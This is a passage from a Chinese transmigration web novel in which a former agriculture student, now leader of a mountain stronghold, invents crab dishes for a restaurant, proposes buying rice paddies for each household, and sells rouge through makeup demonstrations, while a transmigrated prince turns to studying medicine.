她得先跟程掌柜通个气,万一刚刚那个赵大人真的有预定需求,看看能不能麻烦他帮忙登记一下。
顺便也看看她那两道菜谱的反响如何。
她还在街头转角处,便看到醉仙楼门口已经人山人海正排着队。
眼下还未到饭点,冗长的队伍已经说明一切了。
陆令嘉还没走进去,眼尖的小二就已经发现她了,急忙把她请了进去。
现在酒楼生意这么火爆可都托了陆姑娘的福!
程掌柜听说陆令嘉来了急匆匆地从包间里跑出来亲自迎接,他一脸富态,圆滚滚的脸庞跑起来一抖一抖,格外热情:
“陆姑娘来了啊,今儿我做东,就在这里用完晚膳再回去吧!”
陆令嘉哭笑不得。
她把刚刚在街上碰巧遇到赵昶,并且跟他说了以后可以来这提前预定的事情跟程掌柜一说,末了看了一眼程掌柜的脸色,不好意思地搓着小手:
“程掌柜不好意思,没能提前征得您的同意就自作主张了,若是您觉得不方便,我再去寻个地方。”
程掌柜哪会不乐意:“不会麻烦,你这还算是帮我招揽生意了!”
他暗暗吃惊,这小姑娘竟然还结识了赵大人!
看来先前他决定与她结交的做法是正确的。
他一边说着一边把人往里面引:“正好,今天你来试试我们这厨师的手艺,看看有哪些地方还要改进的。”
“真不用劳烦了,家里的婶子们还等着我回家吃饭呢。”
程掌柜面上端着笑,还欲再留:“你家住哪里?我派人去知会一声,难得你过来一趟,要是饭都不留一顿,岂不是显得我这个东道主不尽职。”
他是真心想留她下来吃饭的,正好如果能借此机会打探到她的住址,以后断货了还能上门攀攀交情。
陆令嘉连连摇头。
一来,她答应了张婶回寨子里吃饭。二来,她哪敢把住址随便暴露,现在他们可还是黑户!
万一被谁举报了,一件坏事没干,还得背个黑锅被一窝端了。
那能找谁说理去!
程掌柜见她态度坚决,也不好再留。只特地提起她之前所说的酱料和陈醋,让她酿好了尽管送来。
陆令嘉听完还是蛮感动的。
程掌柜是她第一个合作伙伴,也对她非常信任。这样的伙伴,她是希望能长长久久,携头并进。
两人又聊了一会儿,醉仙楼的客人也跟着越来越多,程掌柜乐得合不拢嘴:“托陆姑娘的福,现在酒楼里的生意天天爆棚!”
“那也得靠程掌柜经营得好!”
陆令嘉说的确实是实话。
醉仙楼就算没有她的食谱,生意依然也是崖州城顶尖的一波。程掌柜说这话,客套占了一大部分。
夜色渐沉,大堂里的烛光摇曳,盏盏烛灯全部点亮,瞬间亮堂起来,来吃饭的宾客来来往往,笑语交织热闹起来。
上菜的小二端着盘子来回穿梭在客桌之间,忙得衣襟都已湿透。
陆令嘉正准备告辞,就见门口有人提着一篓子东西进来,大大咧咧地叫喊着:
“程掌柜,别来无恙啊!”
他把东西背篓拎高,在他们眼前晃悠了几下,里面赫然装着几只肥硕的螃蟹。
陆令嘉顿时愣在原地。
她先前还特地打探过,崖州的百姓不吃这些玩意啊!
所以她才准备让寨子里的人去赶海,准备捡点螃蟹开发新的食谱卖钱。
莫不是情报有误?
她再仔细一打量眼前这人,一袭粉金色锦服,花团锦簇,绚烂夺目。
他剑眉斜飞入鬓,英气勃勃,但整个人身上挂满了配饰,花枝招展的。
不对,这个花蝴蝶怎么看着有些脸熟?
还未等她细想,那人勾着程掌柜的肩膀大声地说道:“听说你们这儿的厨子整了个大招,把崖州所有酒楼都比了下去?”
程掌柜:“哪有哪有!都是靠大家抬爱。”
“我们军营里的厨师不会处理这玩意,刚好一直没有机会来你们这尝个鲜,正好,你让你们这的大厨露两手,把这玩意做成菜试试。”
那人又摇晃了一下手里的背篓,加重了一句,“这可是我们王爷特地嘱咐。”
程掌柜一听,头都大了。
这个东西他见都没见过!怎么做?
眼前这人他认识,平南王的副将,沈煜沈将军。
平日里时常来酒楼闲聊瞎逛,看着是个好相与的,但他一介平民百姓也不敢随意得罪这些王公贵族啊?!
对了!
有陆姑娘在!
自己家的厨子不会,不代表陆姑娘不会啊!她见多识广,指不定知道怎么处理这玩意!
“陆姑娘——”
程掌柜四处张望,人呢?
刚刚还在这的!
陆令嘉趁着他们勾肩搭背的时候就跑了。
她认出来了,那人就是上次接那个反派王爷回去的那个将领!
她得赶紧跑路,千万不能跟他们再有任何瓜葛!
陆令嘉还没跑出两里路,就被气喘吁吁的程掌柜逮住了。
程掌柜顶着个啤酒肚,跑得上气不接下气。
“陆...陆姑娘,你怎么走得这般急!”
陆令嘉呵呵一笑:“那什么,刚不是说了吗,我们家婶子等着我回家吃饭呢!”
“不...不急...您...您说,您家在哪?我派人去知会她们一声,今天您必须得帮我这个忙!”
陆令嘉心情复杂。
不是,您一个大老板,有什么非得找她帮忙的?
程掌柜的手紧紧地攥着她不肯松开,脸上坚定的神色仿佛下一秒就要发表入党宣言。
陆令嘉想起他那几笔大订单,只能为五斗米折腰:“走吧。”
要加班,还没有加班费,真惨!
-
陆令嘉不想再跟那个反派王爷有任何瓜葛,趁着没人注意直接溜到了后厨。
窗外月色皎皎,厨房灯火通明。
她看着满篓的螃蟹一下子陷入了沉思。
螃蟹,拿来清蒸、红烧都可以,都是比较常见的做法。
既然他们将这个东西拿到了醉仙楼,也许是想吃到不一样的美味?
她再回忆之前谢昭在寨子里狂炫酱猪肘子的场景,猜测他应该是喜欢比较吃咸口的。
不如做一道避风塘炒蟹?
陆令嘉拿着菜刀将螃蟹一分为二,将不可食用的部分处理干净。
油温一热,她就将螃蟹放入,炸至金黄,再倒入姜、葱翻炒。
现下还没有辣椒这个品种,只能靠着茱萸油来调个味。
不一会儿,厨房便充满了辛辣的香气,霸道浓郁,既呛人,却又让人忍不住多吸几口。
程掌柜闻着门口的香味,早就忍不住冲进来了。
因着条件设施简陋,陆令嘉只能拿炸好的馒头碎充当面包糠。
她将锅一颠,将最后的配料装盘,金黄酥脆的螃蟹壳上
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立马覆上了一层焦黄的蒜蓉。
别的不说,光看这个卖相就让人食指大动!
程掌柜没忍住,尝了一口,满嘴酥脆鲜香,就连这个蟹壳都是香的。
他冲着陆令嘉连连作揖,再三表示感谢,并一口气提前支付了酱料的三成定金。
“陆姑娘方便的话,这道菜的食谱......”
陆令嘉拿着热乎的银子,露出了笑容:“没问题,等等我就教给你们厨师。”
总算是没白加班,老板提前预支工资了!
一道螃蟹的食谱而已,她手里多的是各种中华美食宝典。
月色如水,洒在了她的身上,陆令嘉摸摸饥肠辘辘的肚子,揣着新拿的工资,快步赶着回去的路程。
【叮——】
还未走到转角,熟悉的机械声音在她的脑海中响起。
她一个激灵,这是又触发了什么?
【恭喜宿主将螃蟹作为可食用的食物进行普及,获得10积分,请宿主再接再厉!】
陆令嘉顿时停下脚步。
不是,你早说这样也能获得积分,那她不得好好地跟程掌柜说道说道螃蟹的十种吃法。
她在心里默默问道:“系统,我现在回去再做几道清蒸螃蟹、红烧螃蟹、香辣蟹......是不是可以多加点积分?”
系统认真地回答:【只有一种未被人们发现的食物被宿主烹饪出来后,才可以获得积分,并且只能获得一次。】
陆令嘉搓着小手嘿嘿一笑。
这解题方式她也会啊!
崖州多的是海里的生物。
除了螃蟹,还有龙虾、扇贝、田螺等等。
她仿佛看到了满满的积分在冲她招手!
群山环绕,夜色如墨,星月也隐没到了乌云身后。
她回到久违的黑风寨时,张婶他们几人正乐呵呵地收拾着碗筷。
众人一见到陆令嘉回来,都笑着问好。
张婶见她一脸疲惫,立马停下手中的活问道:“大当家,你用过晚饭了吗?”
陆令嘉摇摇头,拿起桌上的碗先灌下几口热水下肚。
“那我给您下碗面?”
“好,有劳张婶了。”她实在是不想动弹了。
等陆令嘉大口地吞下一大碗面条,这才想起来问今天的战绩。
“对了张婶,今天一共卖了多少银子?”
她刚问完,几个婶子都凑了过来,眼睛发亮。
张婶道:“足足有五两银子!”
我的乖乖,她们从来没见过这么多银子!三个人轮流数了又数,都有些不敢相信。
陆令嘉不意外,现在大部分人是觉得新颖所以都想“尝个鲜”,也许不用等多久,市面上就会有对应的仿品出来了。
再卖完下一批玩具,就得琢磨一些新的东西出来了。
她想着上次那些胭脂,心下有了个主意:“张婶,明天你带其他几个婶子去县城里扯两块布,每人做一件新衣裳。”
一直沉默寡言的吴婶也不淡定了:“扯新布,给我们吗?”
“是啊,每个人都有份。”她把碗里的汤都喝干净了,接着道:“你们记得替我娘也量一下身形,帮她也做一件。”
“是是是,忘了谁也不能忘了大当家的娘亲!”众人打趣。
要不说闺女熨帖,就算娘亲躺床上,也要想着给她做新衣裳。
几个人叽叽喳喳地讨论着要做什么样式的衣裳,眼睛里全是亮光。
这日子是越过越好了,也越来越有盼头了。
11. 第 11 章
陆令嘉把今天赚的银子还有程掌柜给的定金合计了一下,临时叫了寨子里的众人开了个紧急会议。
五叔和六叔加加减减,公布了账目的明细。
通过这一个月的努力,他们差不多总共赚了有五十两银子,再除去日常需要采买的米面、猪肉,大概有二十两银子是可流动的资金。
陆令嘉心下一动,把她一直以来的想法提出:
“我们寨子里现下一共有三十二人,按户数来划分差不多有十三户,我想去县城里买些肥沃的水田,日后每户出一个人来耕种,不知大家意下如何?”
有人提问:“这是什么意思?以后都不分组干活了?大家伙都去种田?”
陆令嘉解释:“这倒不是,只是现在有了些积蓄,想着就去买一些良田来。我们也不按人头分,按户来分。种出来的收成都归自家所有,其他的依然照旧。”
主要是最近找她的人太多,二叔和三叔已经明里暗里不知道多少次提起来,他们不想种田,想要去卖油。
后山的山栏稻也快到了成熟的季节,等农忙结束了,寨子里的人手也确实能空出来一些。
既然二叔和三叔想要卖油和糖,便由着他们去。
但是在这个年代,仅仅靠着山上种着的这些旱稻,远远不够他们的日常开支。
况且没有好的良田,她就是有再多本事也不能发挥出来。
作为一个农学业的学生,若是能在古代把杂交水稻的技术全面铺展开来,这才叫学以致用。
多一份粮食,就能少一些因为饥饿而死去的百姓。
所以水田,她是一定要买的。
这是她当初报考这个专业的初心。
石头有些不敢置信,颤着声音问道:“大当家的意思,就是买来的水田都归我们自个吗?”
“对,每一户都有份!”
石头:“那我这样......”他支支吾吾地,话也说不完整。
他家里的人,在逃荒时全都没了,现在他们家只剩下他一个人。
陆令嘉看出了石头的窘迫,笑道:“都有,哪怕家里只有一个人,也单独算一户。”
陆三叔惊呼:“那得要多少银子?没必要吧?”
“就是啊,那我们家里人多的岂不是不合算。这粮食种出来也不够吃啊!”也有人略有微词。
但是陆令嘉在这件事上面异常坚定。
且不说如果按人头来划分,日后没成亲的人若是娶妻生子了,那已经买好的田地难不成要再重新划分不成?
再说,像虎子,还有吴阿婆...等种不了地的人又该怎么分?
反正怎么样都会有人不满意的。
陆令嘉继而扬起声调:“我知道寨子里现在不少人都不愿意种田,只想着做卖油和卖糖的生意,可是市面上油和糖的需求总归是有个定数的。咱们手里有粮食了,就是真的碰上了饥荒也不怕。”
系统也一直在提醒她要早点播种新作物,等作物丰收的时候,获得的积分差不多能翻倍。
但是现下寨子里的人心浮动。
每个人都想着挣快钱,却又不肯多劳动。
又或者总觉得其他人的活轻松,动不动就想换一换“分工”。
陆令嘉觉得再这样下去有些不妥。
把田地分给每个人,自己的田以后就自己种,看谁还敢不上心!
她现在既然当了这个大当家,就要担起这份责任,罩着这寨子里的人,起码保证他们平平稳稳地生存下来。
毕竟,她还欠着老陆头一条命。
崖州一年两熟到三熟,现在卖了田,如果播种得当,刚好能再收获一波稻谷,然后还可以种上冬小麦。
寨子里的人热热闹闹地讨论起来,每个人都有不同的意见,但从议论的内容来看,同意的人还是占着大多数。
片刻,便开始举手表决。
这也是陆令嘉一开始定下的规矩,除去一些涉及道德底线的问题,她也不想黑风寨最后变成她的一言堂。
“我同意!”
“我也同意!”
“我支持大当家的做法!”
……
议会厅里响起来此起彼伏的赞同声。
有句老话怎么说来着,手中有粮,心中不慌。
在现在这个年代,战乱四起,像他们这样逃荒过的流民更是遍地都是。
但不管怎么样,只要有自己的农田,起码能保证自己饿不死。
所以这个提议,大部分的人都觉得是件好事。
别看寨子里现在顿顿有米有肉,真要哪天没钱了,指不定又要过上喝稀粥的日子。
更何况大当家最近最近赚钱的法子是一个接着一个,现在上船还能分得一杯羹,但哪天她要是把赚来的钱都自个儿留着了,他们可是什么好处都捞不到!
每户人能分到良田,虽然不多,但养活自己应是够的。
投票的时候,差不多以压倒性的票数通过了这项议程。
静夜沉沉,月光蔼蔼照通彻。
今夜,可以睡个好觉了。
-
平南王府。
正厅。
沈煜摸着圆滚滚的肚子,打了今晚的第三个饱嗝。
谢昭看着桌上光溜溜的盘子,叹息。
大意了!
他怎么会派这个饭桶去醉仙楼!
一顿饭就花了他整整十两银子!
不是说这崖州城隔绝障海,乃莽荒之地,为何物价会如此之高?!
仔细盘算了一下他的俸禄。
他虽被封了这个王爷,但也只是虚衔。崖州又乃穷苦之地,独居一海之中,早已被朝廷抛弃。
撑死一年六百石,都已经算是多了。
再加上林林总总的其他收入,差不多也就一千二百两左右。
若是每天依照今天的这般伙食标准,大概不出三月,就能把他一年的工资都败光!
沈煜吃饱喝足,拍了拍圆滚滚的肚皮,冲着谢昭傻笑:“子期,还得是你见多识广,我居然第一次吃到如此美味!佩服,佩服!”
谢昭眼睫微微颤动,咬牙:“只此一次。”
沈煜只当没听到,嘿嘿一笑,又打了个饱嗝:“我特地去打听过了,醉仙楼的厨师是最近学会这几道菜的!”
谢昭心里还在算着账,越算越心痛。
连眼皮都懒得抬起,语气愈发冷淡:“所以呢?”
沈煜:“谢子期我发现你这个人真的很无趣!所以我们不应该好好研究一下吗?或者再找个机会打听打听,在这小小的崖州城有厨艺如此高超之人难道你就不好奇吗?”
他一张小嘴叭叭叭像机光枪一样开始扫射起来。
除去副将的身份,沈煜还是谢昭的至交好友。
两个人一路征战南北,在私底下彼此间相处也十分随意。
只不过沈煜一向粗犷惯了,神经也比较大条,加上谢昭不怎么爱说话,性子习惯也与原主大抵相同,以至于他连自己的好友换了个芯子也一直未能发现。
谢昭终于把账目算好,发现沈煜完全是“今朝有酒今朝醉,明日无银友人酬”这样一个人。
而他,就是这个大冤种友人。
可惜在这里,没有黑名单。
房间里幽幽烛火忽明忽暗,谢昭的身子往椅背一靠,
沈煜一副忠言逆耳的模样,还在他的耳边叨叨。
“说真的,咱们到这里
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也有一段时间了,这里又不用我们带兵打仗,你有没有想好要做些什么事?”
做些什么?
谢昭觉得确实呆着有些无聊,要不要重操旧业?
他状若无意地问道:“军中的王太医现在在做些什么?”
沈煜:“他天天养花弄草,一看就是吃饱了撑着,闲着没事干。”
自从谢昭来到这个地方,他们几个亲信也跟着过来了。
这几年,他们四处征战,保家卫国,身上的伤势不计其数,皇上却明升暗贬,只封了谢昭一个藩王随意打发,还是选的这偏远的崖州,摆明了是在警告他。
几人觉得属实心寒,也不愿再领军衔,跟着他一起到了这崖州。
谢昭的手指有一搭没一搭地敲击着桌面。
之前他的表妹暂住在他家里,每天捧着手机看一些狗血小说,还时不时与他分享。
表妹说的剧情与他现在的处境基本上都吻合,只是有那么几段有些许出入。
原主应该是和皇帝老儿争夺女主时,激怒了那老头,所以被他打发到了这偏远之地。
谢昭一直搞不懂。
原主为什么会想不开跟皇帝抢女人?
要不怎么说狗血虐恋呢?非得整几个炮灰出来衬托他们伟大的爱情是吧?
他反正没病。
他看着自己现下完好无损的双手,说不定这是上天给他另一个机会。
虽然在这里他没法做手术,但是中医博大精深,他依然可以重新开始。也许以后还能中西医结合,提升一下这里的医疗水平。
谢昭这样想着,翻开了案牍上的医书。
这个时代的文字和他原来的世界完全不一样。
幸好原主读过不少书,他穿过来的时候自动接收了原主的记忆。不然要是连字都看不懂,指不定马上露馅。
他修长的指骨挑着书卷的一角,往后又翻了一页。
烛火突然猛地跳动,火苗蹿起,发出嘶嘶的声音。
谢昭无奈地起身用银剪拨动了一下烛心。
要说古代确实不便。
没有亮堂的灯泡,没看多久的书便要加灯油。
他垂眸继续专注地看书,不解之处拿出毛笔标明记录,准备明天去找王太医请教一番。
沈煜看着他这幅模样十分不解。
“不是,子期,你真打算放弃了?”怎么还研究起医术来了?
谢昭没应,淡淡地扫了沈煜一眼,示意他可以走了。
沈煜恨不得抓起他的衣领把他摇醒:“你出去打猎打了一趟,脑子就被野猪撞坏了吗?不是你自己说的迟早要打回京城然后去把苏妙儿给抢......”
沈煜突然闭嘴。
该死的,这时候他提什么苏妙儿。
苏妙儿,就是原书的女主,原主为了她要死要活,跟皇帝老儿争夺得不死不休,最后为了她落了一个惨死结局。
谢昭了然。
他简言意骇:“不去了。”
“不去也好,不然那些史官还得给咱扣上一个欺君造反的帽子。”沈煜的小嘴还在持续输出,说个不停。
突然,他发现话里的漏洞,又开始质问:“啊?等等?不回去了?难不成你真的准备在这个莽荒之地待一辈子?!”
谢昭被他叽叽呱呱吵得一个字都看不进去,冷冷地抬头:“你太吵了,闭嘴。”
十两银子一顿的饭,还堵不上他的嘴。
沈煜觉得他的好朋友变了,变得更加没有人情味了。
算了。
就当看在今天晚饭的份上,他大人有大量,不跟他计较了。
沈煜傲娇地哼了一声,留着谢昭独自一人在屋子里继续挑灯夜读了。
12. 第 12 章
“咯咯咯——”
天还没亮,陆令嘉就在鸡鸣中醒来。
之前买的斗鸡被张婶养的越发精神了。
她给那只斗鸡取了个名叫“咯咯哒”。
咯咯哒也不知道是不是通了灵性,每天咯咯咯地跑到她屋子面前叫唤着。
陆令嘉伸了个懒腰,打着哈欠,随手洒了点谷子丢在地上,让它自个儿啄去。
她站在房门口眺望远方。
远处山峦层叠,林木积翠,满目青绿和清新的空气让她眉眼也舒展开来。
前几日陆令嘉说要给寨子里的每个女人都做一件新衣裳,有人便开始不服,私底下议论纷纷,传到了她的耳朵里。
“大当家的偏心,凭什么我们累死累活赚的钱,要拿去给这一群女人花?”
对此,陆令嘉只淡淡问道:“寨子里平日里的吃食是谁做的?被褥衣物都是谁洗的?该干的活她们有没有少干?”
她的灵魂三连拷问把几个挑刺的人给硬生生摁了下去。
但是她也知道,很多人不甘心。
这个年代的女人大部分都是依附男人而活。
她们逃荒前的这个村寨虽说凭个人本事上位,但是寨子里还是有很多人看不起女人,觉得她们碍事,只能干些琐碎的杂活。
若不是陆令嘉这些时日带着大家赚了不少银子,让大家过上吃饱喝足的日子,就算她是天生神力,武艺再高强,也依旧不能服众。
所以她也准备让大家伙看看,女人赚的钱不比他们男人少。
-
刚过辰时,寨子里叽叽喳喳的声音便响个不停。
“大当家我穿这身不合适吧?”
“不会,很合适。”
“大当家,我还是感觉怪别扭的。”
“再习惯习惯就好了。”
“我这样出去会不会被人笑话?”
“婶子底子好,别人只会欣赏你。”
陆令嘉根据寨子里每一个女子她们自身的特点,量身打造了不同的妆容,着重凸显出她们各自的魅力。
又让她们各自换上了新做的衣裳。
几个人看着铜镜里的自己,心中是又是羞涩,又是忐忑的。
惊得是镜中的自己美得不像自己,却又担心这般出去会引来旁人的非议与嘲笑。
陆令嘉猜到她们的担忧,一直耐心地回答她们的问题,安抚着她们的情绪。
“婶子们!不要怕,拿出你们的气势来!”
将手中的东西收拾好,她又大吼一声:“出发!”
寨中的六个女人便都跟着她一块走了。
黑风寨的几个女人长得都不错,只是一直偏安一隅,这些年经历了逃荒、饥饿,加上又一直穿着泛黄的破旧衣裳,一眼看去才让人觉得有些磕碜。
人靠衣装马靠鞍,这句话说得很有道理。
陆令嘉只是让她们都换上了新衣裳,又给她们每个人化了妆容,整个人看起来就焕然一新了。
但有两个人还是不能适应,扭扭捏捏:“大当家,这是要去做什么?”
陆令嘉:“带你们去当模特,卖胭脂。”
“什么是模特?”
“唔......简单来说,就是你们一排站在那儿就能吸引大家的目光,一部分会觉得我们的胭脂好从而心生好感,这样自然而然就会有人过来买我们的东西了。”
“就我们这样的,能行吗?”又有人胆怯了。
陆令嘉颇有自信:“肯定能行!”
这些婶子左不过三十几岁,正是风华正盛的时候,只稍一打扮便各有各的韵味。
此刻,她们走在一起进了城,路上时不时有人对着她们指指点点,小声议论。
脸皮薄一点的两人已经红透了脸颊,恨不得拿个帕子把脸挡住。
“别怕。”耳边传来了陆令嘉轻柔的声音。
几人紧张的情绪散了一点,却还是紧紧地拽着袖子,四肢僵硬。
陆令嘉轻车熟路地支起摊子,几个人忙在旁边搭着手帮忙,她们没有摆摊卖货的经验,一个个都面面相觑,等着指示。
可陆令嘉没有多干涉,她只自己先叫卖:“各位来看一看,新上市的胭脂,色泽亮丽。”
她手法娴熟地从瓷罐中取出各色胭脂,冲着刚刚人来人往的娘子们继续说道:
“这盒‘桃花笑’,是取自春日里最鲜嫩的桃花瓣制成,上妆后能让人面若桃花,娇媚动人。”
又把吴婶拉到摊子前面说道:“这位就是涂了我们‘桃花笑’的,大家可以上前来仔细看看效果。”
胭脂铺里,一般的胭脂最多只是允许打开让人看看,再名贵一点的胭脂,掌柜更是放在柜子里轻易不拿出来,从未有过一家胭脂铺像她们这般直接涂在脸上,让人直观的感受颜色。
不少路过的人也驻足停留,想一探究竟。
陆令嘉见停留的人越来越多,直接走上前对着一个挎着篮子的中年女子问道:“娘子这是刚买完菜准备回去呢?”
“是...是啊。”
“要不要过来试试?试试不用银子。”
“啊?”她怔愣了片刻,“可以吗?”
“当然可以。”
言语间,陆令嘉就拉着她的手就把人牵到了摊子前:“坐。”
她打开了前几日托四叔打造的一套化妆刷,大大小小的刷子整齐划一地塞在一个布袋里。
今日,便让大家见识一下来自东方的神秘力量——化妆术吧!
幸好她平日里偶尔也会看美妆博主的化妆视频,知道一些基础理念,对于化妆品种类匮乏的古代,是完全够用了。
她耐心地一点点给眼前的这个女子化妆。
这位女子应该只是个普通人家,虽然穿着得体,但是手上的细纹还有挎着的篮子说明了一切。
真正的高门大户家的小姐夫人,断不可能自己出门买菜。
府里每天都是有丫鬟小厮采买好的新鲜蔬果。即使是出门,身后也总有零星的下人跟着。
但是陆令嘉选她,是因为她这次选择摆摊的地点是在东市。
这里很少有家境丰厚的高门贵女,世族乡绅来闲逛,更多的就是像这位娘子一般的普通人。
但爱美这种事,并不是世家小姐的专利。
陆令嘉转念间,用指尖轻捻起一撮香粉,轻轻拍打在那人的左半边脸颊上,瞬间如白雪覆下,脸上的肌肤立马变得白皙起来。
她又取过眉黛,用细小的眉刷蘸取些许眉粉沿着眉形细细描摹。
最后,是点唇。
陆令嘉选了一只红棕色的口脂,在人的左半边唇上轻轻一点,再用指腹缓缓晕开,直至左唇如同熟透的樱桃,娇艳欲滴。
没错,她给这个人画了一个半面妆。
没什么比半面妆更能冲击人的视觉了。
晌午时分,枝头上的蝉鸣也吱吱地叫个不停,显得热闹非凡。
在他们摊子前围观的人群同样也越来越多了。
陆令嘉放下手
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上的工具和口脂,把铜镜推出,递过去让那女子自己端详。
那人刚一接过,“啊”地一声惊呼,差点把手里的铜镜扔了出去。
蓦地,陆令嘉像是有感应一般,突然伸出双手接过,堪堪抓住了镜子的底座,好让它没有摔个四分五裂。
她笑了一声:“别害怕,这叫半面妆,只是让您好仔细看看我们的效果。”
她话一出口,围观的人群恨不得那娘子立马转过身来,好仔细看看到底画成了什么样子,好叫她看到自己的模样都能大受惊吓。
待人真的转过,人群中皆吸了一口深气。
这...还是同一个人吗?
一半是不施粉黛的素颜,一半是娇艳动人的妆容。
只是一笑起来,右边寡淡的脸庞和左边的明艳同时亮晃晃的出现,给人的冲击力实在太大了。
这是刚刚那些胭脂口脂的魔力吗?
那女子首先回过神来,她看着镜中大相庭径的自己,属实别扭,率先问道:“这些玩意多少钱一个?”
若是便宜,她就买一个回去。
陆令嘉弯唇:“不贵的,胭脂二两一个,口脂只要一两。”
二两银子,在这里可是一笔不小的金额,若是节俭一些,够一大家人吃喝几个月。
但对于胭脂来说,确是属于极低的价格了。
陆令嘉做过市场调研,一盒胭脂大概价格在二两至十两之间,波动幅度比较大,自然中间的利润不言而喻。
但是她也没有把价格压得太低,一来价格太低会扰乱市场,引起其他胭脂铺掌柜不满;
二来,若是东西太过廉价,反而购买的人会心生疑虑,怕东西质量不好。
作为一个现代人,陆令嘉也是深谙一些营销之道。
所以定价二两,刚刚好。
“娘子要买吗?”她的声音又适时响起。
那女子双手交叠在一起,捏着篮子的指节微微用力,嘴唇紧抿,看得出她还在挣扎纠结当中。
陆令嘉不再催促,只是冲着张婶她们使了个眼色,让她们也开始哟喝。
“卖胭脂了——这位娘子,来看看我们的胭脂,那边可以先试用。”
没想到最先张开口的,是钱氏。
钱氏虽然现在时常怨恨着陆家这一大口人,却也知道若是赚不到钱,他们一大寨子的人都得喝西北风。
这些胭脂是她们一起花了力气做的,她不想因为赌气就不要银子了。
她开了这个口子,其他扭捏的婶子也跟着嘴唇翕动,慢慢放开,从一开始的小声嗫嚅,到后面放声大喊,一个个都卯足了劲。
许是这群热情洋溢的婶子打动了路人,也许是先前那位娘子的半面妆太过于震撼,真的有不少妙龄女子上前买了几块胭脂。
有人来买,摊子便算开张了。
最初化了半面妆的娘子跺了跺脚,最后还是走上前,心一横掏出些碎银子:“就那姑娘刚刚给我用的胭脂,我买一盒。”
陆令嘉一直时不时观察着这边的动静,见到方才的那位娘子掏钱,立马迎了过去。
她眉眼弯弯:“这位娘子,我帮你把另外半面妆补齐吧?”
那人“欸”了一声,连连点头。
其实就算她最后不买,陆令嘉也会给她补齐的。
毕竟顶着这么半张脸回去,怪渗人的。
补完全妆,那娘子看着铜镜中的自己,暗暗惊呼。
镜中的人眉目如画,脸泛霞光,这还是她吗?
13. 第 13 章
摊子前客似云来,有些人即使不买,听着说可以免费试用,也都过来凑了个热闹。
一辆华贵的马车缓缓驶过,车内的人撩起车帘一角,看到如此场景,心生几分好奇。
“碧玉,前方这么热闹是在做什么?”
一身着绿色碎花襦裙的丫鬟轻轻探出身子张望,目光来回逡巡,但街边熙熙攘攘,人头攒动,看不真切。
她应道:“小姐,奴婢下去看看。”
马车在一旁停下,碧玉撩开帘子跳下车来,她看着一群娘子们围在一个小摊子面前,正冲着周遭的人说说笑笑,时不时还往脸上抹着东西。
挤进人群,碧玉才看清,原来是一个脂粉摊子。
这群人时不时拿着摊子上的胭脂往脸上涂抹着,她蹙起眉梢,这摊主约莫是想出了一种新的招客手段,给大家伙都上手试一试。
但这般让人人都摸过的胭脂,谁还会愿意买?
她敛了敛衣袖便往回走,快步赶到马车旁,对着帘子里的人回话:“小姐,是一群人在这卖着胭脂水粉等物。”
帘子里声音又问:“往日里胭脂铺的生意也不见得如此好,可是颜色特别?”
碧玉答道:“奴婢见着没有什么不同,只不过这卖家允许人上手试色。”
“哦?”马车内的人轻笑一声没有再问,“回府吧。”
“是。”碧玉小心地上了马车,车夫继续拉起缰绳,挥了一鞭,往前行驶。
陆令嘉的目光不经意间掠过街边驶过的马车,微微抬首凝视片刻,又继续投入到眼前这排满队伍的摊子前。
人群中方才不少人见识了陆令嘉的化妆手艺,还有人特地买了胭脂和口脂,只要求给她们化一个好看的妆容。
陆令嘉有些忙不过来,只能让大家排队等候,一个个挨着来。
夕阳细碎地洒下,所有人身上都被笼罩了一层光亮,温柔又耀眼。
加上前些日子赶制的,她们总共有三十余个胭脂,二十根口红。
一天的时间,居然七七八八地卖出了十几个胭脂和五根口红。
而这些胭脂里,至少有一半是钱氏卖掉的,她当属这次销冠了!
钱氏虽然平日里偷奸耍滑,性子泼辣。却也正是她的泼辣热情,这才能短时间内拉拢了不少客人来小摊子上选购。
陆令嘉揉揉酸胀的手腕,脖子也跟着左右摇晃,缓解长时间紧绷的不适。
这个数量其实算是有点超出了她的预期。
毕竟这个年代,有钱人也不多,大部分人首先要考虑的还是温饱问题。
收了摊子,张婶她们的手都在颤抖。
三十两银子,比上次卖玩具的钱可多出了好几倍!
而这些胭脂,从制作到售卖,全都是只有她们几个女人!
她们有些不敢相信。
虽说胭脂铺里的胭脂比她们卖的价格还要贵,可那能一样吗?
人家有精美的匣子装盒,还有店铺的旗号摆在那里。
而她们只是一群半路出家的学徒。
直至踏上回寨子的路上,大家都还没能回过神来。
夜风轻轻吹拂着,带动着山间的草木清香轻抚人的发丝。
陆令嘉却没心思感受着现在还没被污染的空气,她走在路上都在盘算着银两。
现在寨子中积存的银两约莫五十两左右,在县城买几块水田应该是够了,难就难在要买成片相连并且质量尚可的水田。
但近年来接连战事,人口越发凋零,县城里的良田大部分人都不愿意转手,都留着准备自个儿种着。
荒田倒是有不少。
荒田和良田一样都要交税赋,有些人懒得开荒,与其放在手里闲置倒是愿意卖给他人,
但开荒是个体力活,陆令嘉暂时没有这么多精力放在开荒上。
这么一大寨子的人都还需要养活着。
更何况开地要不少人工成本,若是不靠着河边的,还要兴修水渠,买这些地还不如再攒攒钱等等,兴许谁家中急需用钱会想着把良田卖掉。
但时间一天天过去,稻种如果再不播种下去怕是赶不上这一季了。
她心里发愁。
这一路想着,几人便走回到了寨子。
陆令嘉心里想着事,不自觉地眉头紧蹙,一脸烦恼。
辛劳一天回来的几个男人看到,便以为是她们出师不利,白忙活了一场。
陆二叔为首几个人开始阴阳怪气:“咱们寨子里的娘子军们终于舍得回来了,瞧这架势,前头花这么多银子扯的布料有没有回本?”
“哼,看看你们,穿着这些个花里胡哨的衣裳,摆弄得跟唱大戏似的,有什么用?倒不如省下这些银子,多割上几斤肉,再买几壶烈酒,那才叫一个痛快!”
“说到底啊,还是得靠咱们这帮子人,咱们要是连肚子都填不饱,哪儿来的力气给她们摆弄唱戏的机会,是不是哈哈哈——”
......
陆令嘉也不知道他们这几个人哪来的自信就随意揣测上她们今天是空手而归的,无奈地白了一眼,甚至都懒得搭理。
这落在他们几人眼里,更是笃定了她们没有赚到银子,嘲笑得更加肆无忌惮,讽刺的话语一句接着一句。
张婶气得手抖得厉害,奈何她们几个人都是嘴皮子不利索的,戳着手指“你...你们”了半天,愣是说不出一句完整的话语。
这时,钱氏冷哼一声。
她走到张婶的身旁,双手径直伸到她怀里把荷包掏了出来,扔到了几人的面前:
“睁大你们的眼睛给老娘瞧清楚了,咱们今天这兜里赚的钱怕是你们这辈子都赶不上!”
陆二叔见被自家媳妇撂了脸,脸色更黑了。
他捡起地上的荷包,心下更是一沉。
这重量,莫不是她们今天赚了不少?
